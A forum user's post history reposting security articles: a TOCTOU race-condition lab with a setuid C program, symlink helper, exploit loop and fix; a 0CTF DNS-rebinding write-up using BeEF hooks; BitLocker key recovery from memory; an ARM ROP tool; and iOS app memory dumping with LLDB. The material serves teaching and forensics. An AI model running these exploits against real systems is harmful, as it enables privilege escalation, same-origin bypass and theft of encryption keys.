Jump to content

Nytro

Administrators
  • Posts

    18785
  • Joined

  • Last visited

  • Days Won

    738

Everything posted by Nytro

  1. E facut doar partea de desing, partea de backend si integrare cu IPBoard nu e facuta. Eu am facut pentru index-ul existent, ar trebui sa fie ok, mie imi merge, nu stiu de ce apar probleme
  2. Social-Network-Harvester-v1.0 How to install the SNH on Ubuntu server v.14.04.4: Install the prerequisites: sudo apt-get update sudo apt-get upgrade sudo apt-get install python3-dev libmysqlclient-dev sudo apt-get install python-pip Create a virtual environnement for python sudo virtualenv py3env -p python3 source py3env/bin/activate Install python3 modules: pip install mysqlclient pip install django run the server in dev-mode: cd Social-Network-Harvester-v1.0/Social-Network-Harvester-v1.0 python manage.py runserver Sursa: https://github.com/unclesaam/Social-Network-Harvester-v1.0
  3. Race Condition (TOCTOU) Vulnerability Lab Lab Overview A race condition occurs when two threads access a shared variable at the same time. The first thread reads the variable, and the second thread reads the same value from the variable. Then the first thread and second thread perform their operations on the value, and they race to see which thread can write the value last to the shared variable. The value of the thread that writes its value last is preserved, because the thread is writing over the value that the previous thread wrote. The outcome of the execution depends on the particular order in which the access takes place. If a privileged program has a race-condition vulnerability, attackers can run a parallel process to “race” against the privileged program, with an intention to change the behaviors of the program. In this lab, you will be given a program with a race-condition (TOCTOU) vulnerability; your task is to exploit the vulnerability and gain the root privilege. Lab Tasks Set the environment Create a normal user on Kali Linux Normally with a fresh installation of Kali Linux, we use the “root” account by default, so we should create a normal user account, the student should follow the below steps to create a normal user account: Open the terminal Use the following command to create a new user # adduser <username> Then log out from this root user session Login with the created new user account A vulnerable Program The following C program is our vulnerable program, which contains Time To Check -Time To Use (TOC TOU) vulnerability /* vulnerable-program.c */ #include <stdio.h> #include<unistd.h> #include <string.h>#define DELAY 50000 int main(int argc, char * argv[]) { char * fileName = argv[1]; char buffer[60]; int i; FILE * fileHandler; /* get user input */ scanf(“%50s”, buffer ); if(!access(fileName, W_OK)) { /*Simulating the Delay*/ for(i = 0; i < DELAY;i++) { int a = i ^ 2; } fileHandler = fopen(fileName, “a+”); fwrite(“\n”, sizeof(char), 1, fileHandler); fwrite(buffer, sizeof(char), strlen(buffer), fileHandler); fwrite(“\n”, sizeof(char), 1, fileHandler); fclose(fileHandler); } else { printf(“No permission \n”); } } This program appends a string of user input to the end of a file. The program takes the file name as a command-line argument. This program must be owned by the “root” user, and the program should be a Set-UID program which means that we must set the Set-UID bit to the executable. Since the program is part of a Set-UID program, the program will run with the root privilege. The purpose of calling “access()” system call is to check whether the real user has the “access” permission to the file (provided by the user as a command line argument). Once the program has made sure that the real user indeed has the right, the program opens the file and writes the user input into the file. The program is vulnerable to a race condition because of the time window between the check which represents in calling “access()” system call and the use which represents in calling “fopen()” system call, and we simulating, this time, window by delaying the execution using the for statement. Vulnerable program Compilation In this step, the student will learn how to compile the vulnerable program, by following the following steps: Copy the vulnerable code in a file and name it as “vulnerable-program.c” Open the terminal Change the user to the root user, using the following command $su root Use Clang compiler to compile the code. #clang vulnerable-program.c –o vulnerable-program Now the code should be compiled correctly, and the owner of the binary file should be the root user as you see from the below screenshot. Set the Set-UID Bit to the Binary File In this step, the student should set the Set-UID bit to the binary file, by following the following steps: Open the terminal Change the user to the root user Use the “chmod” command line utility to set the SUID bit #chmod u+s vulnerable-program As you can see from the below screenshot that the vulnerable program binary file became part of Set-UID program Exploiting the Vulnerable Program The idea of exploiting the vulnerability is that there is a possibility that the file used by “access()” system call is different from the file used by calling “fopen()” system call even though they have the same file name. This could happen if a malicious attacker can create a symbolic link with the same name as the provided filename (provided by the user as a command line argument). The symbolic link is pointing to the protected file which usually we don’t have permission to edit it such as “/etc/shadow” file, so the attacker can cause the user input to be appended to the protected file “/etc/shadow” because the program runs with the root privilege, and can overwrite any file. For successfully exploit this vulnerable program, we need to achieve the following: Overwrite any file that belongs to root user which usually we don’t have permission to overwrite it. To achieve this you should follow the following steps: Create a File Belongs to the Root User In this step, you should create a file belongs to the root user; you should follow the following steps to create a file belongs to the root user: Open the terminal Change the user to login as the root user Now type the following command to create a file called passwd and put some text in it. # echo “This is a file owned by the user” > passwd Now use the following command to make sure that the file is created and it’s owner is the root user “ls –l passwd”. Write a Symbolic Link Program In this step, you should write a program that will create the symbolic link to the protected file rather than creating it manually, You can manually create symbolic links using “ln -s” or you can call C function “symlink” to create symbolic links in your program. The following program will create a symbolic link with the same name as the provided filename (provided by the user as a command line argument) /* symbolic-link.c */ #include <stdio.h> #include<unistd.h> #include <string.h> int main(int argc, char * argv[]) { unlink(argv[1]); symlink(“./passwd”,argv[1]); } So now follow the following steps to compile it correctly: Copy the code in a file and name it as “symbolic-link.c” Open a terminal (Normal user) Use Clang compiler to compile the code. $clang symbolic-link.c –o symbolic-link Now the code should be compiled correctly, and the binary is ready to use it. Write a Script to Exploit the Vulnerable Program In this step, you should write a script to execute the vulnerable program and the symlink program at the same time and check if the protected file has been overwritten, if not the script should repeat the attack until it works. The following bash script will do the following: Create a file; the normal user can overwrite it. Run the vulnerable program and the symbolic link program at the same time Then the script checks if the password file has been changed or not. If changed, it will stop the execution. 4. If not changed it will repeat the steps again until the attack succeeds. #!/bin/sh # exploit.sh old=`ls -l passwd` new=`ls -l passwd` while [ “$old” = “$new” ] do rm passwdlocal; echo “This is a file that the user can overwrite” > passwdlocal echo “TOCTOU-Attack-Success” | ./vulnerable-program passwdlocal & ./symbolic-link passwdlocal & new=`ls -l passwd` done echo “STOP… The passwd file has been changed” Now copy the previous bash script as “exploit.sh” and execute it as the following “./exploit.sh” (Normal user) and the script will not stop executing until the attack succeed and the password file will be overwritten. As you can see from the above screenshot that the attack executed multiple times and finally the attack succeeds and the password file has been overwritten. P.S.: The attack takes some time to succeed (It takes 2 min with me), if you want to make faster, you could increase the delay time between “access()” and “open()” system calls. ETHICAL HACKING TRAINING – RESOURCES (INFOSEC) Mitigation The best approach to fix the vulnerable program in this lab is to apply the least privilege principle, in other words, if the users who use the program don’t need a certain privilege, it should be disabled. In our case, we can use “seteuid()” system call to temporarily disable the root privilege, and we can enable it later if necessary. Here is the updated vulnerable code with the fix to mitigate this vulnerability, we fixed this vulnerable program by setting the effective user id to the real user id value, so if the real user doesn’t have the permission to overwrite the file, then the file will not be overwritten. /* vulnerable-program-fix.c */ #include <stdio.h> #include<unistd.h> #include <sys/types.h> #include <string.h> #define DELAY 50000 int main(int argc, char * argv[]) { char * fileName = argv[1]; char buffer[60]; int i; FILE * fileHandler; /* get user input */ scanf(“%50s”, buffer ); if(!access(fileName, W_OK)) { /*Simulating the Delay*/ for(i = 0; i < DELAY;i++) { int a = i ^ 2; } /*THIS IS THE FIX */ /*Set the effective user id to the real user id value.*/seteuid(getuid()); fileHandler = fopen(fileName, “a+”); fwrite(“\n”, sizeof(char), 1, fileHandler); fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);fwrite(“\n”, sizeof(char), 1, fileHandler); fclose(fileHandler); } else { printf(“No permission \n”); } } After compiling the previous code and setting the Set-UID bit, it’s time to run the exploit code again. You will observe that the exploit code will run almost forever, and the attack will not succeed any more. AUTHOR Ahmed Mohamed Sursa: http://resources.infosecinstitute.com/race-condition-toctou-vulnerability-lab/
  4. 0CTF 2016 Write Up: Monkey (Web 4) The Chinese 0CTF took place on March 12-13 and it was yet another fun CTF. I played with my teammates from TheGoonies and we were ranked #48. I found the Web task "Monkey" particularly interesting: I solved it with the help from my friend@danilonc, but it took way longer than it should because of some **Spoiler Alert** DNS glitches. According to the scoreboard status, approximately 35 teams were able to solve it. Task: Monkey (Web - 4pts) What is Same Origin Policy? you can test this problem on your local machine http://202.120.7.200 The running application receives a Proof-of-Work string and an arbitrary URL, instructing a "monkey" to browse the inputted URL for 2 minutes. Proof-of-Work Solving the proof-of-work is pretty straightforward. We had to generate random strings and compare the first 6 chars from its MD5 against the challenge. The POW challenge was more cpu-intensive than normal, so the traditional bash/python one-liner ctf scripts would require some performance improvements. @danilonc had written a quick hack using Go to bruteforce and solve POW from older CTF challs, so we just slightly modified it: package main import ( "fmt" "os" "crypto/md5" "math/rand" "time" "encoding/hex" "strings" ) var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789=/+") func randSeq(n int) string { b := make([]rune, n) for i := range b { b = letters[rand.Intn(len(letters))] } return string(b) } func main() { //warning - don't try this at home //OWASP kills a panda every time you seed random with timepstamps rand.Seed(time.Now().UnixNano()) //argument from cmdline prefix := os.Args[1] //generate md5 from random strings for { attemp := randSeq(8) hash := md5.New() hash.Write([]byte(attemp)) hashString := hex.EncodeToString(hash.Sum(nil)) //compare the cmdline input with the md5 prefix if strings.HasPrefix(hashString,prefix){ fmt.Printf("%s\n",attemp) break } } } view rawpow.go hosted with ❤ by GitHub Solving the Proof-of-Work: Same-Origin-Policy and CORS The Same-Origin-Policy (SOP) deems pages having the same URI scheme, hostname and port as residing at the same-origin. If any of these three attributes varies, the resource is in a different origin. Hence, if provided resources come from the same hostname, scheme and port, they can interact without restriction. If you try to use an XMLHttpRequest to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This policy prevents a malicious script on one page from obtaining access to sensitive data (both the header and the body) on another web page, on a different origin. For this particular CTF challenge, if the secret internal webpage had had an insecure CORS header like this "Access-Control-Allow-Origin: *", we would be able to retrieve its data with no effort. This, of course, was not the case. Bypassing the Same-Origin The flag was accessible on an internal webserver hosted at http://127.0.0.1:8080/secret. The first thing we did was hooking the monkey's browser using BeEF, so we could fingerprint his device, platform, plugins and components. There was nothing interesting here, a custom user-agent and no known vulnerable component. We enumerated the chars accepted by the server with the following script: #!/bin/bash for (( j=0 ; j<=0xFF ; j++ )) ; do i=$(printf '%%%X\n' $j) echo -n "$i"" " page=$(curl -s -D - http://202.120.7.200) session=$(echo "$page" | grep Cookie | cut -d" " -f2 | cut -d";" -f1) challenge=$(echo $page | grep substr | cut -d\' -f2) string=$(go run pow.go "$challenge") curl -i -s -k -X 'POST' \ -b "$session" \ --data-binary $"task="$string"&url="$i"" \ 'http://202.120.7.200/run.php' | tail -n1 echo done view rawtest-chars.sh hosted with ❤ by GitHub Unfortunately, the server was rejecting special chars like spaces (%20 and +) and there was no command injection signal. Our evil plan to input --disable-web-security $URL to disable Chrome's SOP didn't work so we had to find new ways to retrieve the secrets. We also thought about using data:uri and file schemes to load a malicious script/webpage, but it wouldn't help us to bypass the SOP. We tried to input URL's like <html><script/**/src='http://www.example.com:8000/hook.js'></script></html> andfile:///proc/self/environ (setting custom headers with a malicious HTML), but that is also known not to work on modern browsers. DNS Rebinding After some discussion, we came to the conclusion that we needed to perform a DNS Rebinding attack.devttys0 presented about this class of vulnerabilities at DEFCON 18 and @mikispag recently wrote a detailed post describing how to use DNS rebinding to steal WiFi passwords. DNS rebinding is a technique that can be used to perform a breach of same-origin restrictions, enabling a malicious website to interact with a different domain. The possibility of this attack arises because the segregations in the SOP are based primarily on domain name and port, whereas the ultimate delivery of HTTP requests involves converting domain names into IP addresses. We had some issues at first because we tried to use the free DNS service from DuckDNS and it was very glitchy. For some obscure reason, we were unable to hook the user's browser when using the service. In order to make our life miserable, the challenge monkey would browse the site for two minutes only: we also could't use the DNS services from Namecheap because the minimum TTL time is 60 seconds. Attack Phase After deciding to set up the DNS server on our own, we came with the following attack scenario: 1) User visits the beef hook page at http://ctf.example.com:8080 (IP 1.2.3.4). 2) Webpage will load BeEF javascript hook and his browser will become a zombie. 3) We perform a DNS Rebind to change the A Record from 1.2.3.4 to 127.0.0.1. @danilonc set the BIND Zone file with a low TTL (1 sec) and replaced the answer (lines 14-15) as soon as the browser got hooked. 4) Perform a CORS request using BeeF's "Test CORS Request" module. Here's a small diagram of the attack: After a couple of tries we finally managed to get the flag: Flag: 0ctf{monkey_likes_banananananananaaaa} Posted by Bernardo Rodrigues at 9:01 PM Sursa: https://w00tsec.blogspot.ro/2016/03/0ctf-2016-write-up-monkey-web-4.html
      • 1
      • Upvote
  5. RECOVERING BITLOCKER KEYS ON WINDOWS 8.1 AND 10 A brief touch on how the changes to BitLocker after Windows 7 affect master key recovery and where to look when recovering keys. This article is not intended to be an in-depth look at the inner workings of BitLocker, but is instead focussed on retrieval of the Full Volume Encryption Key (FVEK) from memory. Key recovery on Windows 7 is a fairly simple exercise (see references at the end of this article for further reading). When dealing with a Windows 7 memory image we can simply search for theFVEc pool tag as an indicator of exactly where the FVEK lies in memory. From there, we can proceed to extract the key. Starting with Windows 8, however, it seems that the cryptographic operations for BitLocker have been outsourced to Microsoft’s CNG (Cryptography Next Generation) Module, which is the long-term replacement for CryptoAPI, rather than being performed internally within the fvevol driver. What this means for us is that searching for the FVEc pool tag on Windows 8 and above will no longer yield anything useful. AESKeyFind still works, of course, though depending on your memory image you may need to tweak your threshold settings. Key Recovery via Live kernel debugging I’m not entirely sure where you would find yourself in a situation with a debugger attached to the kernel, yet not be able to disable BitLocker, retrieve the recovery password or add your own key protector, but hey, stranger things have happened. On the other hand, perhaps you want the FVEK for other reasons – such as persistence across key protector changes (Even then retrieval from memory is arguably less effort and less intrusive than kernel debugging). However I used windbg to investigate the changes to BitLocker on Windows 8 / 10 and it is certainly possible to retrieve the FVEK using this method as well as demonstrating the use of CNG. To get started, this is an example of the call stack on a Windows 7 box – The encrypt / decrypt functions are all handled within fvevol. This example is using the default encryption method, which is AES 128-bit with the Elephant Diffuser. On the other hand, in this Windows 8.1 example, CNG starts to get involved with the encrypt / decrypt functions: Now, we can actually retrieve the FVEK at this point from the second argument passed toSymCryptEcbDecrypt, which contains a pointer to the location of the key in memory. Therdx register (64-bit machine) contains a pointer to the location of the FVEK in memory, so, by setting a breakpoint on cng!SymCryptEcbDecrypt then obtaining the value of rdx we can extract the FVEK (Note that this is a 256-bit key, the default 128-bit will be half the size): That was a Windows 8.1 Example. When dealing with Windows 10 in XTS-AES mode, break on cng!SymCryptXtsAesDecrypt and check the rcx register (During my testing the key was passed as the first argument to the XTS Decrypt function): By moving backwards through the memory image slightly we can see that this section of memory is likely tagged with a Cngb pool tag. As expected, checking the pool tag definitions reveals that Cngb is used for CNG allocations: Cngb – ksecdd.sys – CNG kmode crypto pool tag Which brings us to the next (much more practical) stage. Key Recovery using memory pool allocations As previously mentioned most of the cryptographic work appears to have been farmed out to the CNG driver, whereas in previous versions of windows the fvevol driver contained its own implementations. Searching for the Cngb pool tag will yield a lot of results as CNG is a complex beast and is not solely used for BitLocker, however, the pool sizes seem to be fairly consistent which means we can use them as an indicator of key locations. The pool size for Cngb appears to be consistent at 672, regardless of encryption type – Volatility can find these pools for you with the poolpeek plugin: Whilst I have not yet identified a method of differentiating between BitLocker modes from the contents of the Cngb pool alone, there is a marker which appears to reliably identify a key length of either 128-bit or 256-bit at an offset of 0x68 within the pool. A value of ’10’ seems to indicate a key length of 128-bit to follow, and ’20’ indicates a key length of 256-bit. Interestingly enough, keys other than the FVEK exist with the same format (In a Cngb pool of size 672), but only after Bitlocker is enabled on the system. It’s possible this could be one of the other keys used in Bitlocker, such as the Volume Master Key (VMK), however at this point I have not identified the function of these keys. Volatility Plugin This plugin is very much an experimental work-in-progress. With this information on hand, I have put together a Volatility plugin which can extract BitLocker keys from Windows 7, and in theory versions of Windows above 7. The plugin isn’t entirely reliable for Windows 8 – 10 but works in most cases with a few quirks: Returns AES Keys other than the FVEK (See above, these keys only exist on Bitlocker protected systems). Doesn’t always work with Windows 10 XTS-AES encryption (Though works with CBC). Cannot identify the BitLocker mode of operation above Windows 7. The plugin operates as follows: Obtains Windows version from profile metadata. If the version is lower than Windows 8: Searches for FVEc pool tag Identifies BitLocker mode Extracts FVEK of appropriate length and TWEAK key if applicable If the version is higher than Windows 8: Searches for Cngb pool tag with a pool size of 672 Attempts to identify key length (Does not work properly for XTS-AES in Win10) Extracts either 128-bit or 256-bit key Is unable to guarantee it is a BitLocker FVEK. Prints the results. Example of a Windows 7 image: Example of a Windows 8.1 Image: Example of a Windows 10 image (CBC): And this is a screenshot of mounting the above Windows 8.1 protected volume using the FVEK data: The excellent libbde library can be used to mount BitLocker protected volumes in Linux using the FVEK and TWEAK data. I make no promises that the plugin is complete and works perfectly, but will hopefully at least be a starting point for further development of a complete BitLocker plugin. Plugin is on GitHub here: https://github.com/tribalchicken/volatility-bitlocker As usual feedback, corrections, criticism (preferably constructive) or further discussion are all welcome. Feel free to contact me. References and Further Reading Practical Cryptographic Key Recovery – Jesse Kornblum Implementing Bitlocker Drive Encryption for Forensic Analysis – Jesse Kornblum libyal / libbde Cryptography API: Next Generation – Microsoft Sursa: https://tribalchicken.com.au/technical/recovering-bitlocker-keys-on-windows-8-1-and-10/
  6. ARM Roper Tool for searching the rop gadgets for ARM. Basically, refactorisation of the MyROP project, with further plans for features like converting to python string, blah blah. Installation For deps just run: sudo pip install -r requirements.txt Also you will need a capstone libs installed. After that you can try roper with: ./armroper.py -h Usage spx@galactica ~/c/armroper> ./armroper.py -h usage: armroper.py [-h] [-f FILENAME] [-d DEPTH] [-m] optional arguments: -h, --help show this help message and exit -f FILENAME, --filename FILENAME -d DEPTH, --depth DEPTH -m, --mode Contributing Fork it! Create your feature branch: git checkout -b my-new-feature Commit your changes: git commit -am 'Add some feature' Push to the branch: git push origin my-new-feature Submit a pull request Credits All the credits goes to the https://github.com/hitmoon/MyRop, and Jonathan Salwan from the shell-storm.org License Check the LICENCE file. Sursa: https://github.com/0xspx/armroper
  7. Prolific Hacker Unmasks Himself ByPYMNTS Posted on March 14, 2016 According to reports by The Next Web, a leader of one of the world’s most notorious hacking teams has elected to unmask himself. The hacking team in question is GhostShell, a collective that, in recent history, has gone after the FBI, NASA and the Pentagon. And that’s just in the U.S. It has also made server attacks on Russian intelligence. That was 2012. Then, nothing for three years, just quiet, until 2015, when they came back, packing some punch. “This time, a much darker, seedier version emerged, hell-bent on destroying anything in its path and leaking information through its ‘dark hacktivism’ campaign for seemingly no other reason than to prove it could,” according to TNW. And then, using a generic email account, someone identifying himself as “White Fox” approached TNW — the name being important because it was also the moniker of a 2012 hacking operation pulled off by GhostShell. As it turns out, the hacker, who identifies himself as G. Razvan Eugen, has started an email list for journalists so that he can tell his story. The text of that letter is copied below. So, is Eugen for real? As verification, he provided a login to the Twitter account that GhostShell uses to disseminate information. He also offered photos, email accounts and even the private Twitter account he had been using to communicate for several years. All in, most tech journalists believe that while there are not locks in this business, this is as close as one could hope for. So, why come clean? According to correspondence between Eugen and TNW: “I just want to own up to my actions, face them head on and hope for the best. What I really want is to continue being part of this industry. Cybersecurity is something that I enjoy to the fullest, even with all the drama that it brings and legal troubles.” “In return, I hope other hackers and hacktivists take inspiration from this example and try to better themselves. Just because you’ve explored parts of the Internet and protested about things that were important to you, doesn’t mean you should be afraid and constantly paranoid of the people around you.” Sursa: http://www.pymnts.com/news/security-and-risk/2016/prolific-hacker-unmasks-himself/
  8. Date Sun, 13 Mar 2016 21:53:34 -0700 Subject Linux 4.5 From Linus Torvalds <> share 0 share 37 So this is later on a Sunday than my usual schedule, because I just couldn't make up my mind whether I should do another rc8 or not, and kept just waffling about it. In the end, I obviously decided not to, but it could have gone either way. We did have one nasty regression that got fixed yesterday, and the networking pull early in the week was larger than I would have wished for. But the block layer should be all good now, and David went through all his networking commits an extra time just to make me feel comfy about it, so in the end I didn't see any point to making the release cycle any longer than usual. And on the whole, everything here is pretty small. The diffstat looks a bit larger for an xfs fix, because that fix has three cleanup refactoring patches that precedes it. And there's a access type pattern fix in the sound layer that generated lots of noise, but is all very simple in the end. In addition to the above, there's random small fixes all over - shortlog appended for people who want to skim the details as usual. Go test, and obviously with 4.5 released, I'll start the merge window for 4.6. Linus Sursa: https://lkml.org/lkml/2016/3/14/50
  9. Dumping Memory on iOS 8 Steve Kerns | March 14, 2016 Back in January of 2015 NetSPI published a blog on extracting memory from an iOS device. Even though NetSPI provided a script to make it easy, it required iOS 7 (or less) and GDB; but GDB is currently no longer on iOS 8. Fortunately, there are other options to GDB and extracting memory from an Apple iPhone running iOS 8+ could not be easier. It requires the following a couple of pieces of software. LLDB (http://lldb.llvm.org/) Debugserver (part of Xcode) Tcprelay.py (https://code.google.com/p/iphonetunnel-mac/source/browse/trunk/gui/tcprelay.py?r=5) Of course you will need a jailbroken iPhone or iPad. I will not cover that part of the operation here. Start tcprelay so you can connect to the device over a USB connection: $ ./tcprelay.py -t 22:2222 1234:1234 Forwarding local port 2222 to remote port 22 Forwarding local port 1234 to remote port 1234 Incoming connection to 2222 Waiting for devices... Connecting to device <MuxDevice: ID 17 ProdID 0x12a8 Serial '0ea150b00ba3deeacb42f399492b7990416a0c87' Location 0x14120000> Connection established, relaying data Incoming connection to 1234 Waiting for devices... Connecting to device <MuxDevice: ID 17 ProdID 0x12a8 Serial '0ea150b00ba3deeacb42f399492b7990416a0c87' Location 0x14120000> Connection established, relaying data The command “tcprelay.py -t 22:2222 1234:1234” is redirecting two local ports to the device. The first one is used to SSH to the device over port 2222. The second one is the port the debugserver will be using. Then you will need to connect to the iOS device and start the debug server (I am assuming you have already copied the software to the device). If not, you can use scp to copy the binary.) $ ssh root@127.0.0.1 -p 2222 root@127.0.0.1's password: Then, if the application is already running, verify its name using ‘ps aux | grep <appname>’ and connect to the application with debugserver (using the name of the application not the PID): root# ./debugserver *:1234 -a appname debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-320.2.89 for arm64. Attaching to process appname... Listening to port 1234 for a connection from *... Waiting for debugger instructions for process 0. The command ‘./debugserver *:1234 -a appname’ is telling the software to startup on port 1234 and hook into the application named ‘appname’. It will take a little time, so be patient. On the MAC, startup LLDB and connect to the debugserver software running on the iOS device. Remember, we have relayed the device port 1234 that the debugserver is listening on to the local port 1234. $ lldb (lldb) process connect connect://127.0.0.1:1234 Process 2017 stopped * thread #1: tid = 0x517f9, 0x380f54f0 libsystem_kernel.dylibmach_msg_trap + 20, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x380f54f0 libsystem_kernel.dylibmach_msg_trap + 20 libsystem_kernel.dylibmach_msg_trap: -> 0x380f54f0 <+20>: pop {r4, r5, r6, r8} 0x380f54f4 <+24>: bx lr libsystem_kernel.dylibmach_msg_overwrite_trap: 0x380f54f8 <+0>: mov r12, sp 0x380f54fc <+4>: push {r4, r5, r6, r8} Now you can dump the information about the memory sections of the application. (lldb) image dump sections appname Sections for '/private/var/mobile/Containers/Bundle/Application/F3CFF345-71FC-47C4-B1FB-3DAC523C7627/appname.app/appname(0x0000000000047000)' (armv7): SectID Type Load Address File Off. File Size Flags Section Name ---------- ---------------- --------------------------------------- ---------- ---------- ---------- ---------------------------- 0x00000100 container [0x0000000000000000-0x0000000000004000)* 0x00000000 0x00000000 0x00000000 appname.__PAGEZERO 0x00000200 container [0x0000000000047000-0x00000000001af000) 0x00000000 0x00168000 0x00000000 appname.__TEXT 0x00000001 code [0x000000000004e6e8-0x000000000016d794) 0x000076e8 0x0011f0ac 0x80000400 appname.__TEXT.__text 0x00000002 code [0x000000000016d794-0x000000000016e5e0) 0x00126794 0x00000e4c 0x80000400 appname.__TEXT.__stub_helper 0x00000003 data-cstr [0x000000000016e5e0-0x0000000000189067) 0x001275e0 0x0001aa87 0x00000002 appname.__TEXT.__cstring 0x00000004 data-cstr [0x0000000000189067-0x00000000001a5017) 0x00142067 0x0001bfb0 0x00000002 appname.__TEXT.__objc_methname 0x00000005 data-cstr [0x00000000001a5017-0x00000000001a767a) 0x0015e017 0x00002663 0x00000002 appname.__TEXT.__objc_classname 0x00000006 data-cstr [0x00000000001a767a-0x00000000001abe0c) 0x0016067a 0x00004792 0x00000002 appname.__TEXT.__objc_methtype 0x00000007 regular [0x00000000001abe10-0x00000000001ac1b8) 0x00164e10 0x000003a8 0x00000000 appname.__TEXT.__const 0x00000008 regular [0x00000000001ac1b8-0x00000000001aeb20) 0x001651b8 0x00002968 0x00000000 appname.__TEXT.__gcc_except_tab 0x00000009 regular [0x00000000001aeb20-0x00000000001aeb46) 0x00167b20 0x00000026 0x00000000 appname.__TEXT.__ustring 0x0000000a code [0x00000000001aeb48-0x00000000001af000) 0x00167b48 0x000004b8 0x80000408 appname.__TEXT.__symbolstub1 0x00000300 container [0x00000000001af000-0x00000000001ef000) 0x00168000 0x00040000 0x00000000 appname.__DATA 0x0000000b data-ptrs [0x00000000001af000-0x00000000001af4b8) 0x00168000 0x000004b8 0x00000007 appname.__DATA.__lazy_symbol 0x0000000c data-ptrs [0x00000000001af4b8-0x00000000001af810) 0x001684b8 0x00000358 0x00000006 appname.__DATA.__nl_symbol_ptr 0x0000000d regular [0x00000000001af810-0x00000000001b2918) 0x00168810 0x00003108 0x00000000 appname.__DATA.__const 0x0000000e objc-cfstrings [0x00000000001b2918-0x00000000001ba8d8) 0x0016b918 0x00007fc0 0x00000000 appname.__DATA.__cfstring 0x0000000f data-ptrs [0x00000000001ba8d8-0x00000000001baf1c) 0x001738d8 0x00000644 0x10000000 appname.__DATA.__objc_classlist 0x00000010 regular [0x00000000001baf1c-0x00000000001baf4c) 0x00173f1c 0x00000030 0x10000000 appname.__DATA.__objc_nlclslist 0x00000011 regular [0x00000000001baf4c-0x00000000001bafa0) 0x00173f4c 0x00000054 0x10000000 appname.__DATA.__objc_catlist 0x00000012 regular [0x00000000001bafa0-0x00000000001bafa4) 0x00173fa0 0x00000004 0x10000000 appname.__DATA.__objc_nlcatlist 0x00000013 regular [0x00000000001bafa4-0x00000000001bb078) 0x00173fa4 0x000000d4 0x00000000 appname.__DATA.__objc_protolist 0x00000014 regular [0x00000000001bb078-0x00000000001bb080) 0x00174078 0x00000008 0x00000000 appname.__DATA.__objc_imageinfo 0x00000015 data-ptrs [0x00000000001bb080-0x00000000001e0d40) 0x00174080 0x00025cc0 0x00000000 appname.__DATA.__objc_const 0x00000016 data-cstr-ptr [0x00000000001e0d40-0x00000000001e4420) 0x00199d40 0x000036e0 0x10000005 appname.__DATA.__objc_selrefs 0x00000017 regular [0x00000000001e4420-0x00000000001e442c) 0x0019d420 0x0000000c 0x00000000 appname.__DATA.__objc_protorefs 0x00000018 data-ptrs [0x00000000001e442c-0x00000000001e4ab8) 0x0019d42c 0x0000068c 0x10000000 appname.__DATA.__objc_classrefs 0x00000019 data-ptrs [0x00000000001e4ab8-0x00000000001e4e48) 0x0019dab8 0x00000390 0x10000000 appname.__DATA.__objc_superrefs 0x0000001a regular [0x00000000001e4e48-0x00000000001e6184) 0x0019de48 0x0000133c 0x00000000 appname.__DATA.__objc_ivar 0x0000001b data-ptrs [0x00000000001e6184-0x00000000001ea02c) 0x0019f184 0x00003ea8 0x00000000 appname.__DATA.__objc_data 0x0000001c data [0x00000000001ea030-0x00000000001ed978) 0x001a3030 0x00003948 0x00000000 appname.__DATA.__data 0x0000001d zero-fill [0x00000000001ed980-0x00000000001edce0) 0x00000000 0x00000000 0x00000001 appname.__DATA.__bss 0x0000001e zero-fill [0x00000000001edce0-0x00000000001edce8) 0x00000000 0x00000000 0x00000001 appname.__DATA.__common 0x00000400 container [0x00000000001ef000-0x0000000000207000) 0x001a8000 0x00015bf0 0x00000000 appname.__LINKEDIT The next step is to convert that output into LLDB commands to actually dump the data in those memory sections. You can probably skip the sections named zero-fill or code. For example, the take the following output: 0x00000003 data-cstr [0x000000000016e5e0-0x0000000000189067) 0x001275e0 0x0001aa87 0x00000002 appname.__TEXT.__cstring Into the LLDB command: Memory read --outfile ~/0x00000003data-cstr 0x000000000016e5e0 0x0000000000189067 –force This command is telling LLDB to dump the memory from address 0x000000000016e5e0 to 0x0000000000189067 and put it into the file 0x00000003data-cstr. (lldb) memory read --outfile ~/0x00000003data-cstr 0x000000000016e5e0 0x0000000000189067 –force You will (or should) not see any output from this command other that the file being created. Once you have all of the files, search them using your favorite search tool or even a text editor. Search for sensitive data (i.e. credit card number, passwords, etc. The files will contain information similar to the following: 0x0016e5e0: 3f 3d 26 2b 00 3a 2f 3d 2c 21 24 26 27 28 29 2a ?=&+.:/=,!$&'()* 0x0016e5f0: 2b 3b 5b 5d 40 23 3f 00 00 62 72 61 6e 64 4c 6f +;[]@#?..brandLo 0x0016e600: 67 6f 2e 70 6e 67 00 54 72 61 64 65 47 6f 74 68 go.png.TradeGoth 0x0016e610: 69 63 4c 54 2d 42 6f 6c 64 43 6f 6e 64 54 77 65 icLT-BoldCondTwe 0x0016e620: 6e 74 79 00 4c 6f 61 64 69 6e 67 2e 2e 2e 00 4c nty.Loading....L 0x0016e630: 6f 61 64 69 6e 67 00 76 31 32 40 3f 30 40 22 4e oading.v12@?0@"N 0x0016e640: 53 44 61 74 61 22 34 40 22 45 70 73 45 72 72 6f SData"4@"EpsErro 0x0016e650: 72 22 38 00 6c 6f 61 64 69 6e 67 50 61 67 65 54 r"8.loadingPageT 0x0016e660: 79 70 65 00 54 69 2c 4e 2c 56 5f 6c 6f 61 64 69 ype.Ti,N,V_loadi 0x0016e670: 6e 67 50 61 67 65 54 79 70 65 00 6f 76 65 72 76 ngPageType.overv 0x0016e680: 69 65 77 52 65 71 52 65 73 48 61 6e 64 6c 65 72 iewReqResHandler 0x0016e690: 00 54 40 22 45 70 73 4f 76 65 72 76 69 65 77 52 .T@"EpsOverviewR 0x0016e6a0: 65 71 52 65 73 48 61 6e 64 6c 65 72 22 2c 26 2c eqResHandler",&, 0x0016e6b0: 4e 2c 56 5f 6f 76 65 72 76 69 65 77 52 65 71 52 N,V_overviewReqR 0x0016e6c0: 65 73 48 61 6e 64 6c 65 72 00 41 50 49 43 61 6c esHandler.APICal Have fun looking at the iOS application memory and use this process for only good intentions. As stated in the previously mentioned blog: This technique can be used to determine if the application is not removing sensitive information from memory once the instantiated classes are done with the data. All applications should de-allocate spaces in memory that deal with classes and methods that were used to handle sensitive information, otherwise you run the risk of the information sitting available in memory for an attacker to see. Sursa: 